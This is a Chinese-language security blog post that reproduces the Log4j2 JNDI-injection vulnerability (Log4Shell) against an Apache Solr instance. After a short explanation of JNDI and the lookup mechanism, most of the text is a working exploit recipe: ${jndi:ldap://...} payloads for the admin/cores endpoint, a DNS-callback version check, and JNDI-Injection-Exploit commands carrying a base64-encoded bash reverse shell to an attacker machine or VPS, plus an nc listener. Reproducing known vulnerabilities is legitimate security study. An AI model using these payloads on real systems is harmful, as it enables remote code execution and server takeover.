log4j
►
原理
apache 的 log4j2 版本,在打印日志内容时,使用了一个 lookup 函数,如果数据中存在${xxxx}这样的格式的数据,那 log4j 就会将该数据当做资源地址进行请求,如果说这串数据是一个 ldap 服务的资源地址,那么就可能造成 JNDI 注入,从而导致 RCE,因此也可以说该漏洞是一个 JDNI 注入漏洞。
那么什么是JNDI?
JNDI,全称Java Naming and Directory Interface(Java命名和目录接口) 是Java中引入一种Java API,它允许客户端通过名称发现查找和共享Java数据和对象。这些对象可以存储在不同的命名或目录中,例如远程方法调用(RMI)、通用对象请求代理架构(CORBA)、轻量级目录访问协议(LDAP)或域名服务(DNS)等。
jndi是对各种访问目录服务的逻辑进行了再封装,也就是以前我们访问rmi与ldap要写的代码差别很大,但是有了jndi这一层,我们就可以用jndi的方式来轻松访问rmi或者ldap服务,这样访问不同的服务的代码实现基本是一样的。(我看完理解是为了我们方便访问rmi,idap,三者关系就像webshell管理工具和asp马,php马一样,简单的将LDAP理解为一个存储目录,里面有我们要的资源,而JNDI就是获取资源的一种途径或者说方式。)
jndi注入的利用条件
客户端的lookup()方法的参数可控;
服务端在使用Reference时,classFactoryLocation参数可控
►
logjRCE
原理
首先log4j打印日志有四个级别:debug、info、warn、error,不管哪个方法打印日志,在正常的log处理过程中,对 ${这两个紧邻的字符做了检测,一旦遇到类似表达式结构的字符串就会触发替换机制。
一旦在log字符串中检测到${},就会解析其中的字符串尝试使用lookup查询,因此只要能控制log参数内容,就有机会实现漏洞利用。
漏洞复现中构造的payload:
action=${jndi:ldap://ip:1389/6zk7j4}
按照上面的说法,log4j会检测到${},然后用lookup查询,然后就会访问jndi服务,然后从攻击机的ip地址ip:1389动态加载漏洞利用工具给出的6zk7j4,把工具编写好的带有反弹shell代码的class文件加载到受害者本地,进行实例化执行,最后成功让受害者反向连接到攻击者。
►
漏洞复现:
验证
p296hn.ceye.io
http://ip:8983/solr/admin/cores?action=${jndi:ldap://${sys:java.version}
这里填你的ceye或dnslog地址}
得到版本为1.8
应用工具JNDI-Injection-Exploit搭建服务:
格式:
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c "{echo,bash -i >& /dev/tcp/攻击机器的ip/要监听的端口 0>&1}|{base64,-d}|{bash,-i}" -A "ip(攻击机)"
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C bash -c "{echo,bash -i >& /dev/tcp/ip/6969 0>&1}|{base64,-d}|{bash,-i}" -A ip
base64加密后
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C bash -c "{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE2My4xMjkvNjk2OSAwPiYx}|{base64,-d}|{bash,-i}" -A ip
得到rmi,ldap:
Target environment(Build in JDK 1.8 whose trustURLCodebase is true):
rmi://ip:1099/6zk7j4
ldap://ip:1389/6zk7j4
Target environment(Build in JDK 1.7 whose trustURLCodebase is true):
rmi://ip:1099/wjw6iw
ldap://ip:1389/wjw6iw
Target environment(Build in JDK whose trustURLCodebase is false and have Tomcat 8+ or SpringBoot 1.2.x+ in classpath):
rmi://ip:1099/klrhmv
选择1.8版本
Target environment(Build in JDK 1.8 whose trustURLCodebase is true):
rmi://ip:1099/6zk7j4 对应GET
ldap://ip:1389/6zk7j4 对应post
打开监听:nc -lvnp 6666
构造payload
action=${jndi:ldap://ip:1389/6zk7j4}
burp
反弹shell成功
怎么可能满足于自己搞自己,尝试用vps来监听
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C bash -c "{echo,bash -i >& /dev/tcp/vpsip/6666 0>&1}|{base64,-d}|{bash,-i}" -A vpsip
base64
bash -i >& /dev/tcp/vpsip/6666 0>&1
YmFzaCAtaSA+JiAvZGV2L3RjcC8xMDYuMTMuMTA4LjEwLzY2NjYgMD4mMQ==
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C bash -c "{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMDYuMTMuMTA4LjEwLzY2NjYgMD4mMQ==}|{base64,-d}|{bash,-i}" -A vpsip
虚拟机用工具获取rmi,ldap。vps上监听好像也是可行的
Target environment(Build in JDK 1.8 whose trustURLCodebase is true):
rmi://vpsip:1099/dxozhy
ldap://vpsip:1389/dxozhy
payload
admin/cores?action=${jndi:rmi://vpsip:1099/dxozhy}
好像不大行,并没有吃到shell。原因排查,是否是对ldap,rmi和post,get的对应关系猜想错误。
重新构造payload
action=${jndi:ldap://vpsip:1389/dxozhy}
还是不大行,应该是要把利用工具传到vps里生成rim,ldap。
payload
action=${jndi:ldap://vpsip:1389/sityjp}
监听再次开起来
走你!那么再来确认是不是ldap协议对应post,rmi协议对应GET
再次开启监听
payload
admin/cores?action=${jndi:rmi://vpsip:1099/sityjp}
本次复现圆满完成
注:1.漏洞利用工具JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar只能是在你的攻击机里,不能使用kali生成vps ip地址的payload然后用vps监听
2.使用规则里也只能bash -i 的ip和获取rmi,ldap的ip保持一致。
3.经尝试验证工具给出的ldap对应post去利用,rmi对应GET去验证。
源:掌控安全社区
注:如有侵权请联系删除
学习更多技术,关注我: